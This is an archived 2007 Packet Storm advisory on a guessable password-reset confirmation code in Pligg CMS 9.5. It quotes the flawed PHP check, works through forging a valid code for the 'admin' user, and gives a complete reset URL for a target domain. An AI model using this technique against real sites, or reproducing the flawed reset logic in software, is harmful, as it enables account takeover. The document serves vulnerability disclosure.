the internet's safety

pligg-password.txt

pligg-password.txt
Posted May 31, 2007
Authored by 242th.section

Pligg version 9.5 is susceptible to a guessable confirmation code for password reset.

tags | exploit
MD5 | 5597d486303de0a4db8f126c6df61634

pligg-password.txt

Change Mirror Download
Pligg critical vulnerability

Concerned version : 9.5 and ?

Description :

Pligg is a flexible CMS based on PHP and MYSQL.

To reinitialize a forgotten password, Pligg follows a classical
process. A confirmation code is generated and sent by email to the
concerned user mail box. The user has to follow the link containing
the confirmation code and if the confirmation code is checked
successfully, the password is reinitialized to a pre-defined value.


you can find a part of the source code in charge of this check below :


WEB_ROOT/libs/html1.php


[…]

function generateHash($plainText, $salt = null){

if ($salt === null) {

$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH); }

else {

$salt = substr($salt, 0, SALT_LENGTH);

}

return $salt . sha1($salt . $plainText);

}

[…]



WEB_ROOT/login.php :


[…]

$confirmationcode = $_GET["confirmationcode"];

if(generateHash($username, substr($confirmationcode, 0, SALT_LENGTH))
== $confirmationcode){

$db->query('UPDATE `' . table_users . '` SET `user_pass` =
"033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login`
= "'.$username.'"');

[…]



Unfortunately, as you can read, you can easily generate, for a given
username, a confirmation code that passes successfully the following
check "if(generateHash($username, substr($confirmationcode, 0,
SALT_LENGTH)) == $confirmationcode)"


Example :


Let's choose :
salt = 123456789

and,

username = admin

we have :

sha1(123456789admin) = 1e2f566cbda0a9c855240bf21b8bae030404cad7

and thus :

confirmationcode = 1234567891e2f566cbda0a9c855240bf21b8bae030404cad7

with the following url you can reinitialize the user admin password :


http://www.domain.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7


242th.section.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close